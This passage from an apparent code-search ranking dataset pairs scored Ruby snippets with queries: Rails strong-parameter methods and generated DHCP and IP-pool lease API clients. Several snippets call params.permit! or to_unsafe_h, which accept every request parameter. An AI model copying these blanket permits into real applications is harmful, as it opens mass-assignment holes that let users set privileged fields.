"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "677293afd31e8916c0aee52a787b75d8",
"score": "0.60860336",
"text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end",
"title": ""
},
{
"docid": "e50ea3adc222a8db489f0ed3d1dce35b",
"score": "0.60855556",
"text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end",
"title": ""
},
{
"docid": "b7ab5b72771a4a2eaa77904bb0356a48",
"score": "0.608446",
"text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end",
"title": ""
},
{
"docid": "b2841e384487f587427c4b35498c133f",
"score": "0.6076753",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "3f5347ed890eed5ea86b70281803d375",
"score": "0.60742563",
"text": "def user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "0c8779b5d7fc10083824e36bfab170de",
"score": "0.60677326",
"text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end",
"title": ""
},
{
"docid": "7646659415933bf751273d76b1d11b40",
"score": "0.60666215",
"text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end",
"title": ""
},
{
"docid": "fa0608a79e8d27c2a070862e616c8c58",
"score": "0.6065763",
"text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end",
"title": ""
},
{
"docid": "a3dc8b6db1e6584a8305a96ebb06ad21",
"score": "0.60655254",
"text": "def need_params\n end",
"title": ""
},
{
"docid": "4f8205e45790aaf4521cdc5f872c2752",
"score": "0.6064794",
"text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end",
"title": ""
},
{
"docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06",
"score": "0.6062697",
"text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.60620916",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "d6886c65f0ba5ebad9a2fe5976b70049",
"score": "0.60562736",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "96ddf2d48ead6ef7a904c961c284d036",
"score": "0.60491294",
"text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60490465",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60490465",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "75b7084f97e908d1548a1d23c68a6c4c",
"score": "0.6046521",
"text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end",
"title": ""
},
{
"docid": "080d2fb67f69228501429ad29d14eb29",
"score": "0.6041768",
"text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff",
"score": "0.60346854",
"text": "def parameters\n params.permit(permitted_params)\n end",
"title": ""
},
{
"docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8",
"score": "0.6030552",
"text": "def filter_params\n end",
"title": ""
},
{
"docid": "cf73c42e01765dd1c09630007357379c",
"score": "0.6024842",
"text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end",
"title": ""
},
{
"docid": "793abf19d555fb6aa75265abdbac23a3",
"score": "0.6021606",
"text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end",
"title": ""
},
{
"docid": "2e70947f467cb6b1fda5cddcd6dc6304",
"score": "0.6019679",
"text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend",
"title": ""
},
{
"docid": "2a11104d8397f6fb79f9a57f6d6151c7",
"score": "0.6017253",
"text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end",
"title": ""
},
{
"docid": "a83bc4d11697ba3c866a5eaae3be7e05",
"score": "0.60145336",
"text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end",
"title": ""
},
{
"docid": "2aa7b93e192af3519f13e9c65843a6ed",
"score": "0.60074294",
"text": "def user_params\n params[:user].permit!\n end",
"title": ""
},
{
"docid": "9c8cd7c9e353c522f2b88f2cf815ef4e",
"score": "0.6006753",
"text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "9736586d5c470252911ec58107dff461",
"score": "0.60048765",
"text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end",
"title": ""
},
{
"docid": "e7cad604922ed7fad31f22b52ecdbd13",
"score": "0.60009843",
"text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000742",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000742",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "f70301232281d001a4e52bd9ba4d20f5",
"score": "0.6000161",
"text": "def room_allowed_params\n end",
"title": ""
},
{
"docid": "2e6de53893e405d0fe83b9d18b696bd5",
"score": "0.599852",
"text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.59984183",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.59984183",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "a50ca4c82eaf086dcbcc9b485ebd4261",
"score": "0.59947807",
"text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end",
"title": ""
},
{
"docid": "0f53610616212c35950b45fbcf9f5ad4",
"score": "0.5993962",
"text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end",
"title": ""
},
{
"docid": "b545ec7bfd51dc43b982b451a715a538",
"score": "0.5992739",
"text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end",
"title": ""
},
{
"docid": "0b704016f3538045eb52c45442e7f704",
"score": "0.59911275",
"text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end",
"title": ""
},
{
"docid": "6af3741c8644ee63d155db59be10a774",
"score": "0.59906775",
"text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end",
"title": ""
}
] |
2d36ae32b791ed0ff9ebbcc7c4de3d58 | Get specific leases of a given dhcp server Get specific leases of a given dhcp server. As a dhcp server could manage millions of leases, the API has to limit the number of the returned leases via two mutuallyexcluded request parameters, i.e. \"pool_id\" and \"address\". Either a \"pool_id\" or an \"address\" can be provided, but not both in a same call. If a \"pool_id\" is specified, the leases of the specific pool are returned. If an \"address\" is specified, only the lease(s) represented y this address is(are) returned. The \"address\" can be a single IP, an iprange, or a mac address. | [
{
"docid": "1a9bbf65d343f4026eef284e2065de48",
"score": "0.49415338",
"text": "def get_dhcp_lease_info(server_id, opts = {})\n data, _status_code, _headers = get_dhcp_lease_info_with_http_info(server_id, opts)\n data\n end",
"title": ""
}
] | [
{
"docid": "b3019e2d6facb870845d895ad02f0088",
"score": "0.5796299",
"text": "def get_ippool_block_lease_by_moid(moid, opts = {})\n data, _status_code, _headers = get_ippool_block_lease_by_moid_with_http_info(moid, opts)\n data\n end",
"title": ""
},
{
"docid": "8dee00a936474260c076fca41b3cda09",
"score": "0.5730119",
"text": "def get_ippool_ip_lease_by_moid(moid, opts = {})\n data, _status_code, _headers = get_ippool_ip_lease_by_moid_with_http_info(moid, opts)\n data\n end",
"title": ""
},
{
"docid": "e08cb627b10ab8a58f70329b7b24d14c",
"score": "0.5624468",
"text": "def get_dhcp_lease_info_with_http_info(server_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ServicesApi.get_dhcp_lease_info ...\"\n end\n # verify the required parameter 'server_id' is set\n if @api_client.config.client_side_validation && server_id.nil?\n fail ArgumentError, \"Missing the required parameter 'server_id' when calling ServicesApi.get_dhcp_lease_info\"\n end\n if @api_client.config.client_side_validation && opts[:'source'] && !['realtime', 'cached'].include?(opts[:'source'])\n fail ArgumentError, 'invalid value for \"source\", must be one of realtime, cached'\n end\n # resource path\n local_var_path = \"/dhcp/servers/{server-id}/leases\".sub('{' + 'server-id' + '}', server_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'address'] = opts[:'address'] if !opts[:'address'].nil?\n query_params[:'pool_id'] = opts[:'pool_id'] if !opts[:'pool_id'].nil?\n query_params[:'source'] = opts[:'source'] if !opts[:'source'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DhcpLeases')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServicesApi#get_dhcp_lease_info\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "e08cb627b10ab8a58f70329b7b24d14c",
"score": "0.5624468",
"text": "def get_dhcp_lease_info_with_http_info(server_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ServicesApi.get_dhcp_lease_info ...\"\n end\n # verify the required parameter 'server_id' is set\n if @api_client.config.client_side_validation && server_id.nil?\n fail ArgumentError, \"Missing the required parameter 'server_id' when calling ServicesApi.get_dhcp_lease_info\"\n end\n if @api_client.config.client_side_validation && opts[:'source'] && !['realtime', 'cached'].include?(opts[:'source'])\n fail ArgumentError, 'invalid value for \"source\", must be one of realtime, cached'\n end\n # resource path\n local_var_path = \"/dhcp/servers/{server-id}/leases\".sub('{' + 'server-id' + '}', server_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'address'] = opts[:'address'] if !opts[:'address'].nil?\n query_params[:'pool_id'] = opts[:'pool_id'] if !opts[:'pool_id'].nil?\n query_params[:'source'] = opts[:'source'] if !opts[:'source'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DhcpLeases')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServicesApi#get_dhcp_lease_info\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "87a0d5db0ed6ead184ab22460cc7a808",
"score": "0.54547393",
"text": "def get_ippool_ip_lease_list(opts = {})\n data, _status_code, _headers = get_ippool_ip_lease_list_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "7e4940f99c6f9503657982a264cc8d64",
"score": "0.5422536",
"text": "def get_ippool_block_lease_by_moid_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: IppoolApi.get_ippool_block_lease_by_moid ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling IppoolApi.get_ippool_block_lease_by_moid\"\n end\n # resource path\n local_var_path = '/api/v1/ippool/BlockLeases/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'IppoolBlockLease'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"IppoolApi.get_ippool_block_lease_by_moid\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: IppoolApi#get_ippool_block_lease_by_moid\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "5f23ef36b3e7262ac9522022b7902b2f",
"score": "0.5313844",
"text": "def read_dhcp_ip_pool(server_id, pool_id, opts = {})\n data, _status_code, _headers = read_dhcp_ip_pool_with_http_info(server_id, pool_id, opts)\n data\n end",
"title": ""
},
{
"docid": "1610a82191fbf7a4b61adedb405e4509",
"score": "0.5292434",
"text": "def get_ippool_block_lease_list(opts = {})\n data, _status_code, _headers = get_ippool_block_lease_list_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "0c24c27f57dca9c96cf52ce4a7db4747",
"score": "0.52824473",
"text": "def get_dhcp_lease_info_with_http_info(server_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiServicesDhcpApi.get_dhcp_lease_info ...'\n end\n # verify the required parameter 'server_id' is set\n if @api_client.config.client_side_validation && server_id.nil?\n fail ArgumentError, \"Missing the required parameter 'server_id' when calling ManagementPlaneApiServicesDhcpApi.get_dhcp_lease_info\"\n end\n if @api_client.config.client_side_validation && opts[:'source'] && !['realtime', 'cached'].include?(opts[:'source'])\n fail ArgumentError, 'invalid value for \"source\", must be one of realtime, cached'\n end\n # resource path\n local_var_path = '/dhcp/servers/{server-id}/leases'.sub('{' + 'server-id' + '}', server_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'address'] = opts[:'address'] if !opts[:'address'].nil?\n query_params[:'pool_id'] = opts[:'pool_id'] if !opts[:'pool_id'].nil?\n query_params[:'source'] = opts[:'source'] if !opts[:'source'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DhcpLeases')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiServicesDhcpApi#get_dhcp_lease_info\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "ff647786af198ea9500178c113e2a1ed",
"score": "0.52652645",
"text": "def dhcp_lease_provider\n if platform.windows?\n timeout = Time.now + 20 * 60 # 20 minutes\n logger = option(:logger)\n while Time.now < timeout\n ipconfig_data = `ipconfig /all`\n match_result = ipconfig_data.match(/DHCP Server.*\\: (\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})/)\n unless match_result.nil? || match_result[1].nil?\n return match_result[1]\n end\n # it may take time to resolve the DHCP Server for this instance, so sleepy wait.\n logger.info(\"ipconfig /all did not contain any DHCP Servers. Retrying in 10 seconds...\")\n sleep 10\n end\n else\n leases_file = %w{/var/lib/dhcp/dhclient.eth0.leases /var/lib/dhcp3/dhclient.eth0.leases /var/lib/dhclient/dhclient-eth0.leases /var/lib/dhclient-eth0.leases /var/lib/dhcpcd/dhcpcd-eth0.info}.find{|dhcpconfig| File.exist?(dhcpconfig)}\n unless leases_file.nil?\n lease_file_content = File.read(leases_file)\n\n dhcp_lease_provider_ip = lease_file_content[/DHCPSID='(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})'/, 1]\n return dhcp_lease_provider_ip unless dhcp_lease_provider_ip.nil?\n\n # leases are appended to the lease file, so to get the appropriate dhcp lease provider, we must grab\n # the info from the last lease entry.\n #\n # reverse the content and reverse the regex to find the dhcp lease provider from the last lease entry\n lease_file_content.reverse!\n dhcp_lease_provider_ip = lease_file_content[/(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}) reifitnedi-revres-pchd/, 1]\n return dhcp_lease_provider_ip.reverse unless dhcp_lease_provider_ip.nil?\n end\n end\n\n # no known defaults so we must fail at this point.\n fail(\"Cannot determine dhcp lease provider for cloudstack instance\")\nend",
"title": ""
},
{
"docid": "dcf44075298a048abee9a97329c2926a",
"score": "0.5235028",
"text": "def read_dhcp_ip_pool(server_id, pool_id, opts = {})\n data, _status_code, _headers = read_dhcp_ip_pool_with_http_info(server_id, pool_id, opts)\n return data\n end",
"title": ""
},
{
"docid": "dcf44075298a048abee9a97329c2926a",
"score": "0.5235028",
"text": "def read_dhcp_ip_pool(server_id, pool_id, opts = {})\n data, _status_code, _headers = read_dhcp_ip_pool_with_http_info(server_id, pool_id, opts)\n return data\n end",
"title": ""
},
{
"docid": "bed81b0a06016b7a6c667d2b460d9732",
"score": "0.5127846",
"text": "def get_ippool_ip_lease_by_moid_with_http_info(moid, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: IppoolApi.get_ippool_ip_lease_by_moid ...'\n end\n # verify the required parameter 'moid' is set\n if @api_client.config.client_side_validation && moid.nil?\n fail ArgumentError, \"Missing the required parameter 'moid' when calling IppoolApi.get_ippool_ip_lease_by_moid\"\n end\n # resource path\n local_var_path = '/api/v1/ippool/IpLeases/{Moid}'.sub('{' + 'Moid' + '}', CGI.escape(moid.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'IppoolIpLease'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"IppoolApi.get_ippool_ip_lease_by_moid\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: IppoolApi#get_ippool_ip_lease_by_moid\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "21649959c6b2d40af0b9803805a0c74e",
"score": "0.5116504",
"text": "def dhcp_lease_provider\n if RUBY_PLATFORM =~ /windows|cygwin|mswin|mingw|bccwin|wince|emx/\n timeout = Time.now + 5 * 60 # 5 minutes\n while Time.now < timeout\n ipconfig_data = `ipconfig /all`\n match_result = ipconfig_data.match(/DHCP Server.*\\: (\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})/)\n unless match_result.nil? || match_result[1].nil?\n return match_result[1]\n end\n # it may take time to resolve the DHCP Server for this instance, so sleepy wait.\n ::Ohai::Log.debug(\"ipconfig /all did not contain any DHCP Servers. Retrying in 10 seconds...\")\n sleep 10\n end\n else\n leases_file = lease_file_locations.find { |dhcpconfig| File.exist?(dhcpconfig) }\n unless leases_file.nil?\n lease_file_content = File.read(leases_file)\n\n dhcp_lease_provider_ip = lease_file_content[/DHCPSID='(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})'/, 1]\n return dhcp_lease_provider_ip unless dhcp_lease_provider_ip.nil?\n\n # leases are appended to the lease file, so to get the appropriate dhcp lease provider, we must grab\n # the info from the last lease entry.\n #\n # reverse the content and reverse the regex to find the dhcp lease provider from the last lease entry\n lease_file_content.reverse!\n dhcp_lease_provider_ip = lease_file_content[/(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}) reifitnedi-revres-pchd/, 1]\n return dhcp_lease_provider_ip.reverse unless dhcp_lease_provider_ip.nil?\n end\n end\n # no known defaults so we must fail at this point.\n raise \"Cannot determine dhcp lease provider for cloudstack instance\"\n end",
"title": ""
},
{
"docid": "a4ae5c7c3c71880ca9b3508a6fe4f5a9",
"score": "0.5086817",
"text": "def read_dhcp_ip_pool_with_http_info(server_id, pool_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ServicesApi.read_dhcp_ip_pool ...\"\n end\n # verify the required parameter 'server_id' is set\n if @api_client.config.client_side_validation && server_id.nil?\n fail ArgumentError, \"Missing the required parameter 'server_id' when calling ServicesApi.read_dhcp_ip_pool\"\n end\n # verify the required parameter 'pool_id' is set\n if @api_client.config.client_side_validation && pool_id.nil?\n fail ArgumentError, \"Missing the required parameter 'pool_id' when calling ServicesApi.read_dhcp_ip_pool\"\n end\n # resource path\n local_var_path = \"/dhcp/servers/{server-id}/ip-pools/{pool-id}\".sub('{' + 'server-id' + '}', server_id.to_s).sub('{' + 'pool-id' + '}', pool_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DhcpIpPool')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServicesApi#read_dhcp_ip_pool\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "a4ae5c7c3c71880ca9b3508a6fe4f5a9",
"score": "0.5086817",
"text": "def read_dhcp_ip_pool_with_http_info(server_id, pool_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ServicesApi.read_dhcp_ip_pool ...\"\n end\n # verify the required parameter 'server_id' is set\n if @api_client.config.client_side_validation && server_id.nil?\n fail ArgumentError, \"Missing the required parameter 'server_id' when calling ServicesApi.read_dhcp_ip_pool\"\n end\n # verify the required parameter 'pool_id' is set\n if @api_client.config.client_side_validation && pool_id.nil?\n fail ArgumentError, \"Missing the required parameter 'pool_id' when calling ServicesApi.read_dhcp_ip_pool\"\n end\n # resource path\n local_var_path = \"/dhcp/servers/{server-id}/ip-pools/{pool-id}\".sub('{' + 'server-id' + '}', server_id.to_s).sub('{' + 'pool-id' + '}', pool_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'DhcpIpPool')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ServicesApi#read_dhcp_ip_pool\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "bf14737a7b48bba2e7f28209554a66e8",
"score": "0.50810313",
"text": "def get_ippool_block_lease_list_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: IppoolApi.get_ippool_block_lease_list ...'\n end\n allowable_values = [\"allpages\", \"none\"]\n if @api_client.config.client_side_validation && opts[:'inlinecount'] && !allowable_values.include?(opts[:'inlinecount'])\n fail ArgumentError, \"invalid value for \\\"inlinecount\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/api/v1/ippool/BlockLeases'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'$filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'$orderby'] = opts[:'orderby'] if !opts[:'orderby'].nil?\n query_params[:'$top'] = opts[:'top'] if !opts[:'top'].nil?\n query_params[:'$skip'] = opts[:'skip'] if !opts[:'skip'].nil?\n query_params[:'$select'] = opts[:'select'] if !opts[:'select'].nil?\n query_params[:'$expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n query_params[:'$apply'] = opts[:'apply'] if !opts[:'apply'].nil?\n query_params[:'$count'] = opts[:'count'] if !opts[:'count'].nil?\n query_params[:'$inlinecount'] = opts[:'inlinecount'] if !opts[:'inlinecount'].nil?\n query_params[:'at'] = opts[:'at'] if !opts[:'at'].nil?\n query_params[:'tags'] = opts[:'tags'] if !opts[:'tags'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/csv', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'IppoolBlockLeaseResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['cookieAuth', 'http_signature', 'oAuth2', 'oAuth2']\n\n new_options = opts.merge(\n :operation => :\"IppoolApi.get_ippool_block_lease_list\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: IppoolApi#get_ippool_block_lease_list\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "0c9dc9ff4d6b48292ebe8cb9a3f68698",
"score": "0.50143754",
